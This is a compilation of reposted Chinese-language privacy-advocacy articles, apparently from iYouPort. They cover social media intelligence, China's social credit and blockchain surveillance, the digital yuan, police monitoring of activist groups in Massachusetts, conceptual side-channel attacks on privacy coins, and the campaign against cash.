中国政府正在开发一种“社会信用评分”系统，该系统将根据个人数据（包括他们的互联网活动）为中国公民分配信用评分，其中可能包括他们在社交媒体上发布的内容。个人的信用评分也将受到社交网络上“朋友”的影响。例如，他们的信用评分可能受到他们朋友的信用评分的影响。信用评分不仅用于确定信用价值，还用于确定某人是否有权获得某些社会服务。第三方也可以使用信用评分来确定对其他商品和服务的访问权，例如确定贷款利率和金额。

对于私人公司——

社交媒体情报在向算法提供数据方面发挥着重要作用，算法越来越多地被用于做出关于人们生活的重要决策，包括诸如一个人是否可以获得贷款，是否可以找到工作或租房子等决策。

SOCMINT 在私营部门的使用很普遍。一个例子是像 Afiniti 这样的公

司提供的服务：当你打电话给 O2，Virgin Media 或 Sky 等领先品牌的呼叫中心时，在你与客户服务代理商交谈之前，他们已经搜索了你在社交媒体上发布的内容、以便与您的客户服务人员进行匹配，只需要两秒钟。

对社交媒体数据的这种分析也被用于做出关于个人的决定。这方面的一个例子是使用 SOCMINT 来为信用评分提供信息，特别是对于信用记录有限的最脆弱客户。这些在发展中国家很常见（例如，Lenddo），但在北方国家也呈现增长趋势。这方面的一个例子是大数据评分（BDS），这是一家提供产品的公司，该产品可以将社交媒体资源中的数据整合到公司的贷款决策过程中。

就连英国情报机构军情五处的前负责人也承认，基于 SOCMINT 的私人公司对个人进行的剖析，与情报机构部署的监视“一样具有侵扰性”。

结论

社交网站是一个独特的空间。它们由私人公司经营，这些公司强加自己的规则—— 有点像商店或商场。用户无法决定或影响规则，这与公民能够对规范公共空间的法律进行投票和发表意见的方式完全不同。

与商店或商场不同，社交网络是一个空间，如果您想参与，您需要登录并因此提供一些数据，执行某种形式的身份检查，并在进入之前提供对平台规则的主动同意。

因此，社交网站成为它们自己的空间，不是非常私密，但肯定不公开。为此，用户应有权对他们发布的材料进行严格保护，即使它是“公开”的。

依赖 SOCMINT 作为其业务模式一部分的执法机构、维稳部门和公司需要制定强有力且可审计的规则和程序，包括在进行社交媒体情报和活动记录时要求授权，以便那些进行 SOCMINT 的人可以被追究责任，并且可以通知受到影响的人。

此外，考虑到 SOCMINT 正在和即将提出的隐私权风险，需要一个明确透明的法律框架来规范社交媒体情报的使用。

Social media intelligence (SOCMINT) refers to the techniques and technologies that allow companies or governments to monitor social

media networking sites (SNSs), such as Facebook or Twitter. Social networking sites therefore emerge as a space of their own, not quite private, but certainly not public. To that effect, users should be entitled to strict protections of the material they post, even if it is publicly available.

原文

社交媒体的隧道生态和心理操控 - iYouPort

你如何正在被互联网所改变-媒介效应你的反乌托邦在线生活阴云密布

社交媒体如何让人们变得偏执？

偏执、眼界狭窄、虚无主义、令人惊讶的无知、假消息蔓延……这些特征你一定熟悉，它们出现于中文网络的某些群组和平台局部，且愈加明显。部分自诩“民主派”的人拥护反智的民粹政客、称Women’s March为“暴民”，高呼人权的人忽视隐私安全、贬损LGBT群体、诋毁揭露真相的Chelsea Manning，还能给出很多带有奇怪逻辑的理由来捍卫自己的观点。

中国舆论总是难以和国际同步，从资讯的获取、到行动的创新、到议题的聚焦，都会落后很久，如公民社会、新反抗运动时代等，而且翻译和传播这类常规模式的带动被显示无效，这是个长期持续的、非常奇怪的现象。

Women”s March 行动的时候似乎只有中国舆论在问WHY 、甚至鄙视，这其中就包括不少“民主派”人士，他们在全球性权力运动的开启面前毫无知觉，仿佛置身于平行世界。就如1月27日，国际大屠杀纪念日（International Holocaust Remembrance Day），当欧美网友都在哀悼和反思的同时，中国网友在讨论央视春晚的洗脑节目，为红包雨欢呼。

开始有人感觉到惊讶，他们发现了“居于五毛和非五毛之间的另一个群体”，究竟发生了什么事？

「图」

「图」

封闭带来了什么

早前的文章中曾多次提及中国人的眼界局限和认知滞后的问题。以色列心理学家Ariel Merari提出过一个概念：隧道，用来解释封闭的环

境如何将一个正常人变得失常。这里有两个要点：1、封闭，隧道令内部与外部隔绝；2、隧道内的人全部视野被集中在一个点上，旁若无他。

隧道是最容易接受心理操控的环境。在穿越隧道时，内部的人完全无法接受外界刺激的影响，逐渐向出口前进的同时，视野会变得越来越狭窄。

这是心理操控能发挥最大威力的状态。被心理操控的一方会觉得一切都是自己的想法、来自自己的意愿，也愿意为自己的一切表达和行为承担责任。越是高水平的心理操控，被操控者越是坚定的认为自己没有被操控，一切都是来自内心。

物理的和心理的封闭

对中文网络来说，封闭来自于两方面。众所周知的GFW和语言障碍是物理性封闭，加之懒于翻墙，更多的人们只是通过中文媒体的翻译来获取境外信息，这其中也包括原本英文阅读并无太大问题、同时也有twitter账号的中文用户。那些经由自我审查和审查筛选后的内容几无价值，甚至被偷换了重点、扭曲了主题。

长期观察显示，很多时候值得推广的或值得思考的英文内容，翻译成中文后却几乎无人问津。它显示，语言障碍并不是全部障碍，如果是，那意味着顺利的获取被客观条件所阻碍，只要改变条件就能改变结果。可惜事实不是这样，对于主观的自闭没有简单的解决之道。

「图」

「图」

中国式圈子社交更多属于心理性封闭，控制者利用小型组织将被控制者建立在排他的关系内，话题、思考方式和深度、表达方式、信息来源、偏好等基础特征逐渐趋于一致，磨合期间不同意见将被排斥，同化程度不断提升，最终所有成员在不知不觉中成为小团体规则和价值观的俘虏。墙内是被红包效应聚拢的小圈子，墙外是原本为保障隐私安全而选择的telegram加密应用的群组。

这当然不是传销组织那种封闭性，人们完全可以随时登陆各种媒体浏览资讯、使用公开平台账号与全球网友互动，但对于很多中文网友来说，他们在享受自由获取内容的状况下依旧将目光局限于习惯内的区域，把沟通和思考的对象集中在熟人关系中。也就是我们早前提到过

的，将微信圈子copy到twitter的现象。

这些隧道都是人们自己搭建起来的。而社交媒体的“你最喜欢的内容”功能恰好满足了隧道人的需求，让你仿佛置身于公开平台，却又同时处于隧道之中。

生活中你能发现，中国人的共情能力很差，情感经常需要被量化处理才能促进沟通，比如通过金钱或烟酒等成瘾物品，并且自我感知能力差，难以对情绪问题做出有条理的分析，这些现象都与长期的封闭有关。

弥漫于社会的隧道

事实上整个社会都在频繁使用这一原理。比如某人隶属一家俱乐部或运动队，就相当于进入了某种隧道，以考入名校为目的的培训班、将成绩优秀的学生与成绩不佳的学生区隔开来的教育方法，其本身都是构建了不同的隧道。

隧道是一个封闭的小世界，里面的人必须服从集体的价值观和规则，比如微信群的不许谈政治，反智主义聚集处的浅薄和无知，猎奇欲爆表群体的宫廷戏联播……人们的思想很容易被同化和支配，哪怕最初抱着改变的目的而来的人，时间越久越难以幸免。

即使目的良性的隧道也会产生副作用和危险，因为隧道中的人将目的放在最优先的位置，看不到其他信息，或对其他事马马虎虎。目的一旦没有达到或暂时看不到达成的希望，虚无和悲情的程度就会加速上升，甚至绝望、自暴自弃。

虚无和悲情也可视为对隧道生活的反抗。虽然当事人可能意识不到自己身处隧道之中，但生活内容单调、思维固化，难免会感觉空虚，消极情绪就是一种反抗式的发泄。一般这种反抗会持续很长时间，比当事人在隧道中度过的时间还要长。

虽然隧道作为教育和训练的方法是一种高效率的手段，但理应知道，最终将付出更大的代价、牺牲更多的东西。本网分析过恐怖主义形成的问题，统计资料显示，恐怖分子中很多人并非没有文化，正相反是应试教育培养出来的精英，这是莫大的讽刺。长期在隧道中生活还会令当事人与外界出现裂痕、无法适应不同环境，眼界也会变得越来越窄，应试教育的隧道消耗了他们的青春期，而外面的世界对他们来说已经变得太过刺眼，于是他们轻而易举的再次被另一个隧道所吸引。

「图」

「图」

心理操控

设置隧道的人就是实施心理操控的人。心理操控有两个方面：1、通过操控他人的心理状态从而支配、榨取对方。一般提到心理操控指的大多是这方面，它的终点就是达成洗脑的境界，目标可以是个人也可以是团体或社会。比如GFW、新闻审查、文艺管制、圈子化社会等等。

也于是，很容易误会心理操控是独裁体制的产物，其实民主政治下心理操控同样具有重要意义。民主体制是通过大众投票进行决策，而信息传播会影响政治走向，于是政治宣传和媒体主导了对大众的心理操控。从这个角度上讲，不论媒体是否有意识，都会形成不同程度的心理操控。在twitter搜索#政治宣传（或Political propaganda）标签可以查询本网早前的分析。

前面有提到，隧道生态中的人思想会趋于同化，不论该思想是对是错，对大部分人来说，它都属于被灌输的结果，但当事人无法察觉到这种灌输，反而认为它来自于自己的内心。为了获得团体的认可和尊重，人们会主动加深对这些思想的印象，以证实自己“不是背叛者”。

这种状况下，“同伴间的情谊”是作为一种压力的存在，加之个体自我证明存在价值的愿景，这两点在隧道生态中起到了很大的作用。中国式圈子就是典型。

关于心理操控，后面还将有其他文章详细分析。

原文

警局官方社交媒体账户泄漏监视异议的证据，是英雄之举还是“粗心大意”？ - iYouPort

你的反乌托邦在线生活阴云密布

政府当局总是在想方设法否认他们对异议人士的监视，除非内部的勇士泄漏证据出来。但官方自己“无意中”泄漏证据 – 自证其罪，这种事还真是第一次看到……要是能多来几次就好了

「图」

「图」

9月13日，数十起天然气爆炸袭击了波士顿以北的三个城镇，造成一人死亡，数千人受到影响。在爆炸发生后的最初几个小时内，马萨诸塞州警方官方推特账号发布了一条推文，就是下面这样：

「图」

「图」

推文很简单，就是报告灾情，告诫人们绕避。并且，伴随着推文的是计算机屏幕上显示的地图图像，标注了“确认的火灾和爆炸”发生的位置。并且，在计算机屏幕的图像中还可以清楚地看到谷歌 Chrome 浏览器中的书签栏。

这就有意思了。

社交媒体上的人们几乎立即就指出了一些令人不安的图像：马萨诸塞州警察局的书签栏似乎与马萨诸塞州中部的某些进步组织和活动团体有关 —— 意味着常规的灾难响应推文已经成为一个严峻的证据，证明了马萨诸塞州的执法部门正继续对民间活动团体进行着非法的监视。

浏览器书签中显示的群体包括反对警察暴力的群众行动、组织和动员

波士顿反特朗普的联盟（COMBAT）、413行动、MA 行动主义和 Resistance Calendar。都是知名的异议团体。

此外，图中的书签栏还显示了一个名为 AeryonLive 的监控无人机公司、和一个关于开源情报技术的网站链接。“—— 请注意，警方关注开源情报技术 **OSINT** 和民间独立组织的关注可不一样，前者是为追踪民间活动家，后者是为了监督前者，行使公民权。

「图」

「图」

在发布了第一条推文后大约半小时，它就被删除了，并替换为第二张图片再次发布，但您仍然 可以在线查找 到最初曝光的照片。值得注意的是，第二张图片不包含有问题的书签栏。

这条推文是从 MSP Watch Center 发出的，该中心位于 Commonwealth Fusion Center 中，这是美国 79 个“融合中心”的网络之一。这些州和地方警察间谍中心是通过国土安全部和司法部提供的资金建立的，以促进市、州和联邦执法机构之间的信息共享。

虽然该融合中心的建立是举着反恐斗争的旗号，但是，根据 "两党的国会报告" ，他们并没有为反恐工作做出任何有意义的贡献。相反，它们主要用作警察监视社会和信息共享的节点，用于针对：有色人种、移民、持不同政见者、和穷人。

马萨诸塞州警方的推文则提供了最新的证据，证明这一丑陋的历史性监视一直延伸到现在。作为回应，美国公民自由联盟 ACLU 上周根据马萨诸塞州公共记录法提交了公共记录请求，要求联邦融合中心的每台计算机提供所有书签和浏览历史记录。

在州警察删除了包含 MSP 对这些民间团体感兴趣的证据的推文之后，警方发言人 David Procopio 发表声明 ，声称该机构“有责任了解任何类型的所有大型公共集会，并且任何团体，无论其目的和地位如何，出于公共安全原因……巴拉巴拉。总之就是狡辩。

但是，奇怪的是，推特图片中的书签栏只包含渐进式和左翼组织/活动团体的链接。确认警察部门陈述是否属实的唯一方法是查看其员工的所有书签和浏览历史记录。这就是公民权。

对马萨诸塞州激进社会组织的定向监视并不新鲜。

在 2018 年初，马萨诸塞州的 ACLU 发布了 一份报告 ，显示 2014 年至 2016 年间，波士顿警察局使用名为 **Geofeedia** 的社交媒体监控系统监视在 **Twitter**，**Facebook** 和 **YouTube**上表达受宪法保护的言论自由的个人；ACLU 披露的记录显示，警方正在监控诸如“#MuslimLivesMatter”和“#BlackLivesMatter”之类的标签；警察的社交媒体监控软件甚至还从前波士顿市议员 Tito Jackson 那里抓取了一个感恩节 Facebook 的帖子。早在 2015 年就有报道显示，州警察正在监控与 BlackLivesMatter 运动相关的社交媒体账户。

为了抵制这种反民主的监视行为，马萨诸塞州的 ACLU 长期以来一直支持立法机构禁止警方监控受宪法保护的言论和活动。支持“基本自由法”，该法案禁止像联邦融合中心这样的机构监视受第一修正案保护的社会活动，但没有表明监视目标可能涉及犯罪活动。具体而言，该法案要求执法部门“有合理理由”相信某人在被收集有关他们的情报信息之前已经违反了该罪行。

最好的解毒剂就是曝光，这就是为什么 ACLU 提交了此公共记录请求，以寻求有关分配到融合中心的州警察访问的网站类型的更多信息。期待他们的回应并加强执法监督。■

原文

中国正在使用区块链技术监视其公民？ - iyouport

中国-半壁高堡奇人监视区块链和反现金之战

【2018年9月21日存档】中国政府正在区块链技术方面占据重要地位。尽管区块链技术具有解放性的潜力—— 但已经有必要担心，当局利用该技术扩大其庞大的监控能力。这篇文章解释了区块链技术在中国的“变异”……

中国的区块链场景有点奇怪。该国一直在限制加密货币、加密新闻网站和平台，但是，仍然将大量资源投入到它真正令人兴奋的内容上：区块链 —— 具有诱人的可追溯性。

虽然中国政府官员称区块链是“十倍于互联网”的奇迹，但该党已明确表态。区块链很棒，但“去中心”本身是一个禁区。据中国官方媒体播报，“去中心” – 被这帮土老帽理解为剥夺党中央的权力 – 被认为不是区块链的“本质”。官方媒体称，“摆脱中心”是不可能的。

英国诺桑比亚大学的研究员 Arthi Manohar 博士说，在西方，区块链被认为是一种流行的解放工具。他研究和撰写了关于区块链技术及其与中国大规模监控计划之间的关系的报告。他说，在中国，区块链与“大规模监视和社会控制”有关。

⚠THEKEY 是一家“由中国政府独家授权”的区块链创业公司，已经朝着这个方向迈出了一步。该项目使用了像以太坊这样的分散式计算机网络 NEO，连接了**66**个城市**2.1**亿人口的个人身份数据。该数据包括政府颁发的身份证; 该公司表示，行为数据（消费者习惯）和指纹数据都是“由相关政府部门认证的”。

在一年内，该计划预计将 “增加到150个城市，并覆盖6亿人的身份数据。”

⚠这样的系统可以增强中国已经非常强大的“生物识别扫描网络 ”，它将先进的面部识别技术与深层数字记录相结合，使监视系统能够在未

经许可的情况下筛选并识别其14亿市民的个人数据。这里有两个片子，可以感受下中国的人脸识别监控：

适合区块链的是中国新兴的“社会信用评级计划”。这个有争议的系统性监控行为，只奖励令政府满意的“理想公民”，惩罚一切政府不喜欢的人。Martin Chorzempa 表示，中国的社会监视和区块链非常适合，他曾在彼得森国际经济研究所担任研究员多年。他说这项技术很有吸引力，因为它“可以用来实现多方面自动化治理。”

例如，自动执行的智能合约可以“自动惩罚和奖励人们”，这是常规监控工具无法做到的。与此同时，一个深刻的、不可改变的公民行为记录，对任何可能的技术专制来说都是无价之宝。

THEKEY 不使用任何工作量证明风格的共识机制，而是允许中央机构验证交易…事实上，广东中山的一个新系统正在利用这些特权。最近该地区的地方司法部门宣布利用区块链网络对假释罪犯进行追踪。⚠ 该系统有一个类似“少数派报告”的页面，能“预测”一个人是否可能再次犯罪，以及追踪他们的日常行踪。

纽约市美国公民自由联盟（American Civil Liberties Union）高级技术专家报道了区块链在民权方面的作用，但他仍然意识到了灾难。他将中国的区块链策略归结为技术能够提供“不可否认” – 不可改变的过去行为记录，这使政府更容易发现所谓的“违规行为”。

他说，这样一来就创建了一个“圆形监狱”，即“激发人们的自我审查或限制自己是否有外部要求，仅仅是因为他们知道，他们可以被观察到。”

那么，加密货币怎么样？Chorzempa 表示，比特币整体的颠覆性思想并不适合中国的决策者，⚠ 他们对“交易的可见性”更感兴趣。这正是共产党正在做的事。去年政府消息人士透露，中国正在设计自己的加密货币，这是一种“央行发行的电子货币”，⚠ 其整个存在的理由是“它更容易被追踪”。”

将这一启示与中国最高法院最近决定接受区块链数据作为法庭证据这一信息结合起来看，意味着你开始拥有前所未有的 ⚠国家支持的货币追踪机制。

Chorzempa 说，从文化角度来看，中国人不像美国人那样害怕政府控制但对公司监控相对不关心，中国人往往“更关心公司监控，而不关心政府监控”。（中国人给人家的印象就是这样？—— 中国人没有“不

关心政府监控”，而是有很多人由于恐惧选择了屈服和自我审查。需要警惕的是目前为止依旧有为数不少的人误以为政府监控和公司监控不是一码事，但实际上不论在中国和美国都是一样的：即 公私监控伙伴关系的一部分 —— 集中化互联网一直在被当局利用来监视社会，其监视能力远超过公民的在线组织动员能力）

- 关联我们的最详细分析：《互联网究竟是什么》

中国政府的大部分工作都是由该国现有的科技巨头 – 特别是跨国企业集团阿里巴巴和腾讯实施的，这些企业已获得巨额补贴。就其本身而言，阿里巴巴已获得了大约 90 个区块链专利申请（经世界贸易组织批准）这是全球任何公司中最多的。

科技巨头们津津乐道地履行了他们被指定的职责。当中国政府下令禁止各种形式的加密货币时，阿里巴巴和腾讯立刻服从。例如，腾讯在其消息平台微信上禁止加密货币支付。

Chorzempa 说，“与政府合作，而不是与强大的权力机构发生冲突，符合这些公司的利益”。通过这种合作，这些公司“共同提供了导致集中化治理的技术系统”，这反过来又增加了公司自身的流量，这是一个“成功的交换条件”。

当与中国蓬勃发展的加密货币挖矿行业一起考虑时，这种动态变得最为明显。中国政府通过允许挖矿权在国外不受控，间接获得了对其已禁止的加密货币网络的巨大影响，例如比特币和以太币。

区块链作为一种技术不会无情地导致极权主义，但完全取决于政府在大规模实施该技术时所采取的法规。

中国的社会信用计划预计将 2020 年全面投入运营，目前已取得了“巨大的成功”，⚠它宣称制裁闯红灯，而事实上独立记者和持不同政见者正在受到国家不眨眼的监视 – 他们的信用评级已经被扣分，他们的护照被列入黑名单，他们的资产被剥夺。

然而，充分发挥其潜力的区块链技术可以对中国的监控计划作出的协助，是数据多孔的互联网永远无法做到的 – 那些不被政府喜欢的人的轻微“违法行为”将永远被保存。■

The “Great” Blockchain of China? The Chinese government is big on blockchain, but there are fears it might use the technology—in spite of its liberating potential—to extend its vast surveillance

powers.

原文

中国的反乌托邦进度 - iYouPort

中国-半壁高堡奇人监视区块链和反现金之战

中国政府正在寻求创建一种加密货币，以便更好地监控公民和机构的金融行为。[[

|https://web.archive.org/web/20210820204843/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/5c2648f45d4fc8001a1721c2/edit/search/posts?query＝%23Surveillance]]

自 2016 年以来，中国人民银行的软件开发商已经注册了78项数字货币专利，并且截至8月份已经注册了44项“区块链”专利，这是一种数据库技术，可以同时在多个分类账中自动处理交易数据。

从理论上讲，区块链是“不可变更的”，这意味着系统的记录一旦确定就不能被改变或伪造。中国国家加密货币最初是由中国前中央银行行长周小川在3月退休前公开提出的。中国人民银行副行长范一飞今年早些时候发表的一篇文章又进一步描述了该项目。

彭博社报道，中央银行提交的专利描述了一种系统，个人和公司可以将钱包软件下载到他们的移动设备上，然后使用这些钱包将人民币换成数字货币，然后再用它来接收和付款。但是，与私人数字货币传输和跟踪系统不同，中国的这一系统可以让政府随意进行检查，理论上可以“每次转账都被跟踪”。

政府也可以利用这种系统来监督银行，并确保它们坚持政府的政策和标准。

中央银行注册的专利显示，国家数字货币系统的运作方式如下：消费者和企业将下载一个手机钱包并在其中将人民币换成新的数字货币，这是一种加密货币，然后可以用来支付和接收付款。只允许早期用户直接使用该货币，而不是用于投资，以减轻新货币对中国货币政策的影响。

请注意：该专利表明这一货币系统可能被编程为阻止向政府不喜欢的

个人或实体转账。

关于你为什么应该警惕这件事：

The Chinese government is looking to create a cryptocurrency that will allow it to better monitor the financial conduct of citizens and institutions. the patents suggest the currency system could possibly be programmed to block transmissions to sanctioned individuals or entities.

原文

他们对加密货币下手了 - iyouport

监视区块链和反现金之战

【2019年1月23日存档】大型机构正在竞争持有并存储您的加密货币

如果您从未阅读过著名的比特币白皮书，现在必需应该读一下了。中本聪（Satoshi Nakamoto）概述了他对没有“可信赖第三方”存在的现金系统的愿景。换句话说，没有银行，没有侵入性的身份检查和验证，没有必需的许可。

在过去十年中，比特币在这方面做得相当不错。世界上任何人都可以在没有银行或第三方阻碍的情况下发送和接收比特币。您可以将其存储在只有您可以访问的硬件钱包上。

但在2019年，我们将看到人类正朝着比特币银行业的巨大转变。大型机构正在竞争持有并存储您的加密货币。

以下是几个已经出现的状况：# 富达（全球最大的资产管理公司之一）正在推出加密货币监管服务。它本质上是一个为其客户持有加密货币的银行。

- Coinbase（世界上最著名的加密货币交换机）现已在纽约注册为“合格托管人”。这是允许银行持有其他人的钱的同义词。
- 美国银行刚刚提交了比特币存储专利。
- 万事达卡刚刚为加密货币部分储备系统申请了专利。

不要误解我的意思，这些发展也有一些好处。的确不是每个人都想“成为自己的银行”并照顾自己的加密钱包。另外，对于已经丢失了比特币钱包的数千人来说，一个完全投保的“比特币银行”可能更为可取。

但是，这对您的个人隐私绝对是最巨大的打击。使用这些服务中的任何一项都需要大量的识别信息才能满足 KYC（了解您的客户）和 AML（反洗钱）法律。

⚠ 如果您出于隐私原因购买和使用比特币或其他加密货币，您应该不惜一切代价避免这些快速增长的监管趋势。

然后是哲学论证……

通过设计，比特币被创建为存在于传统银行基础设施之外；然而，通过拥抱这些单一的银行机构，难道我们不是正在摧毁比特币吗？

与往常一样，我们面临着被迫不断袭来的和令人沮丧的权衡：我们是否会为了方便而牺牲隐私？我们即将迎来新一代简单易用的加密货币服务，但是我们会牺牲多少隐私呢？—— 也就是人权。

Bitcoin Banks Are Coming. Wave Goodbye to Your Privacy. By design, bitcoin was created to exist outside the traditional banking infrastructure. By embracing these monolithic banking institutions, aren't we defeating the point of bitcoin?

原文

即使是注重隐私的加密货币也可能泄漏你的秘密 - iyouport

监视区块链和反现金之战

【2020年7月31日存档】加密货币通常并不像看起来那样私密 ……

在 “哈利波特” 的世界里，当您需要阻止某人泄露您的秘密时，会使用一个方便的咒语。叫做 Mimblewimble / 绑舌诅咒。它也是一种新的流行协议的名称。

最早在去年1月推出的使用 Mimblewimble 的加密货币 —— 称为 Grin 和 Beam。但是自那以后，关于这个独立协议的实际保密性的争论就爆发了，在一位独立研究人员演示了一种攻击形式之后，他说，这种攻击从根本上削弱了其隐私模式。

Mimblewimble 的拥护者说，有潜在的解决方法。但是 Mimblewimble 的局限性 —— 以及最近去年热议的关于 Zcash 和 Monero 中的漏洞 —— 提醒人们：在数字货币领域中确保隐私有多么困难。

- 《如何使用区块链追踪暗网服务交易》
- 《如何在区块链上追踪比特币交易？》

“私密的”

「图」

隐私货币是对人们意识到比特币根本不是私密的之后的一种反应。人们曾经普遍认为比特币是秘密的，但是，警察和强盗都在频繁证明人们想错了。

所有比特币交易数据都是公开的，并开放给所有人进行分析；将其与需要收集其客户个人数据的加密货币交易所提供的信息相结合，了解

交易背后的人是非常容易的。就如上面两篇文章中的操作演示。

☞ 这种做法已经成为一项大生意。联邦采购数据表明，美国联邦调查局和国土安全部等机构现在每年在加密货币监视软件上花费数百万美元，以帮助追踪交易背后的人真实身份。

- 谁在致力于开发这种监视工具？《监视区块链》
- 美国国土安全部（DHS）发布了 2019 财年的预先征集文件。在这个长达27页的文件中，该组织解释说，他们希望将资源用于创建可以监视数字资产流动的区块链取证应用程序。之前的努力已经解决了比特币追踪问题，现在该机构希望将监控工具用于加密货币，如 monero 和 zcash。

因此，暗网用户很大程度上已经转向了所谓的隐私货币，以期寻求安全。

> “Keeping things anonymous and private is much, much harder than just getting the cryptographic aspects right.” —— FLORIAN TRAMER, STANFORD UNIVERSITY

事实证明这是一个艰巨的任务。以 Mimblewimble 为例，它通过将大量交易收集到一个难以理解的包中而获得了部分隐私。这使得窥探者更难解析特定的交易。

Grin 和 Beam 使用的另一个组件称为 Dandelion，能够确保在将交易广播给网络中的其他节点之前进行聚合。

但前 Google 工程师 Ivan Bogatyy 表示，该协议存在缺陷，因为攻击者可以建立一个侦听所有其他节点的节点。这样的 “超级节点” 几乎总是在聚合之前阻塞交易，并可以用来发现谁向谁付款。

卡内基梅隆大学教授 Giulia Fanti 说，这次袭击表明了 Mimblewimble 的一个已知局限性：“我认为对于普通用户来说，将比实际使用该技术的人更感觉惊讶。”

她补充说，问题的部分原因是哈利波特加密货币的使用量还不够。据推测，更多的交易将意味着更快的聚合，从而使超级节点更加难以找出特定的交易。

Fanti 指出，这一原则适用于许多匿名技术，这些技术通常依赖于在人群中隐藏自己。

Grin 开发者表示这类攻击 “没有那么可怕”。Grin 的开发团队称，他们很清楚 Mimblewimble 的隐私模型并没有解决这个问题，并一直致力于寻找解决方案。Beam 方面则表示，他们已经通过使用使聚合更有效的诱导性交易来缓解这个问题。

伊利诺伊大学教授 Zcash 基金会董事会成员 Andrew Miller 指出，不过，证明理论上的攻击是低成本且实际的仍然必要。“它改变了现状，这甚至不需要付出太多努力。这表明考虑到目前的网络规模，这个问题有多么普遍。”

旁道攻击

「图」

斯坦福大学密码学研究员 Florian Tramer 表示，作为一个相对较新的协议，Mimblewimble 还不能提供与 Zcash 和门罗相同的隐私保护。他补充道，[后者]它们存在的时间更长，依赖于经过实战检验的密码技术，如 环签名和零知识证明。

“在这个领域要解决的大问题是我们对隐私的期待来自不同的技术。”

即便如此，根据 Tramer 的说法，隐私问题仍然棘手。他最近揭示了一系列针对门罗和 **Zcash** 的攻击，这些攻击之所以引人注目，是因为它们甚至不需要使用复杂的密码学。

他说：“这是人们付出了大量努力的领域。但当你从更宏观的角度来看，看看这些系统是如何相互作用的，你就会意识到，保持事物的匿名性和私密性要比仅仅纠正密码方面的问题要困难得多。”

在这种情况下，Tramer 和他的同事们开发了 “旁道攻击”，这种攻击瞄准的是私人钱包和面向公众的网络之间的交互。因为交易的细节是加密的，所以钱包需要检查它看到的每一笔交易是否是与自己有关。

Tramer 的团队发现，钱包根据问题的答案执行不同的密码检查。对手方可以通过注意时机和行为上的细微差别了解到很多东西。

使用 Tramer 开发的技术，攻击者可以发现网络中任何匿名交易的收款人，并定位持有公共地址私钥的计算机的**IP**地址。

这些漏洞已经告知门罗和 Zcash，Tramer 说他很高兴看到两个团队很快就修复了这些漏洞。Monero 的修复方式相当简单，因为它的设计

已经试图将钱包和网络分开；重叠实际上是一个必须填补的漏洞。

Zcash 有一个更棘手的问题，因为钱包和网络进程是相互连接的。这在一定程度上是网络的原生问题，包括在比特币的基础上添加隐私技术，而不是从零开始。这种攻击之所以成为可能，部分原因是由于在构建客户端时没有考虑到隐私和匿名性。

这是 Zcash 团队非常清楚的，Tramer 说。

这些问题都得到了解决，而且就目前而言，隐私币的匿名性仍远远超过比特币交易，后者很容易被监控，并可以在事后多年进行追踪。

Miller 说，社区将需要密切关注其他类型的旁道攻击，特别是如果目的与隐私币应用有关。例如，使用 **Zcash**、门罗或 **Grin** 为在线服务付费可能会带来新的问题，即：当你与应用程序交互时，会泄露哪些类型的信息。

“这是新型的攻击类型，但是我认为人们已经开始关注这个问题了。以隐私为中心的币种有着坚实的密码学基础。然而，要想保持低调，关键在于如何在实践中使用它们。” ○

Even Privacy-Focused Cryptocurrency Can Spill Your Secrets

原文

反现金的中国战讯为什么值得警惕？ - iYouPort

监视区块链和反现金之战

警惕，中国巨富马云在最近的一次讲话中表示，他特别关注比特币和区块链技术，以及其建立无现金社会的潜力。尽管马云仍在研究比特币和其他主要加密货币带入市场的基本价值，但他强调区块链技术作为一个整体是一项强大的创新，可以实现完全无现金的社会。

中国社会正岌岌可危，越来越少的人使用现金交易，而像蚂蚁金服公司（Ant Financial）600亿美元的支付宝（Alipay）这样的支付应用程序占据主导地位。

“我特别关注无现金社会和区块链技术。我和阿里巴巴的工作是⚠将全世界推向无现金社会“，马云说。

这是一场隐私人权 vs 便利性的战斗。

此前，蚂蚁金服副总裁 Ray Chan 在接受英国“金融时报”采访时表示，该公司的新产品是针对千禧一代和新用户量身定制的，他们已表现出“愿意”从传统支付方式转向更高效率的方式 …… 年轻人可没有那么愚蠢，中国应该发动年轻人抵制这种反乌托邦的计划。

加密无政府主义的开创者 Tim May 在临终前已经对目前这个加密货币社区彻底失望，引述互联网之父 Lee 爵士的名言就是最好的解释：“人性啊！……”

Jack Ma, has said in a recent speech that he pays special attention to Bitcoin and blockchain technology, and the potential of establishing a cashless society.

原文

恐怖的反现金之战 - iyouport

监视区块链和反现金之战

【2018年12月20日存档】到处都有迹象表明，我们最后的这一自由正在被遗忘

如今，每次击键都会成为一个永久记录的一部分，电子设备跟踪每个人的每一步行动，为金融交易支付现金的能力已经成为人们唯一可以执行的自我保护行动，当然，前提是没有被那些无处不在的监视摄像头拍摄到。

但到处都有迹象表明，我们最后的这一自由正在被遗忘。许多方法似乎都在针对全球货币体系，其中的每个买卖交换，从城堡到棒棒糖，都被记录在每个人的历史档案中。其诀窍就在于温水煮青蛙，让你在不知不觉中走向死亡。

2014 年，哈佛大学经济学家 Kenneth Rogoff（2011 年德意志银行奖获得者和国际货币基金组织前首席经济学家）撰写了 “逐步淘汰纸币的成本和收益”的文章，他写道：“纸币有助于匿名交易，帮助隐瞒政府的活动，帮助代理商规避法律、法规和税收…… 电子货币，原则上可以由政府追踪。“78% 的美元流通货币是100美元的钞票，日本和欧盟也有类似的高/低面额比率。大部分犯罪的首选货币—吸毒，洗钱，逃税—是大面额的，大面额法案已经成为犯罪分子选择电子货币的主要理由。2017 年，Rogoff 还出版了一本关于他的理论的书叫 “现金的诅咒 ”。其他著名经济学家，如前财政部长 Lawrence Summers 也同样，都主张放弃纸币。讨论一般只关注大面额，100美元，50美元，也许20美元。尽管如此，Rogoff 还断言“货币本身应该在技术上过时”。

现金为什么是敌人？因为隐私是敌人，隐私是敌人是因为它使政府控制变得更加困难。

但是，正如所表述的那样，无现金社会的哲学是反对美国宪法第四修正案的立场，因为几乎不可能找到另一个更为纯粹的“不合理搜查”能超过保证政府对所有个人金融交易的可用性。 任何真正匿名的电子交

易对政府老大哥来说都没有价值，正如 Rogoff 明确表示的那样："不合法的电子货币具有匿名纸币在促进逃税和非法活动方面的所有缺点。"

"没有任何一种加密货币是真正分散的。它们实际上是由矿工集中控制的，那些基本上可以随意改写历史的人。"—— Nicholas Weaver，国际计算机科学研究所，加州大学伯克利分校，2018年

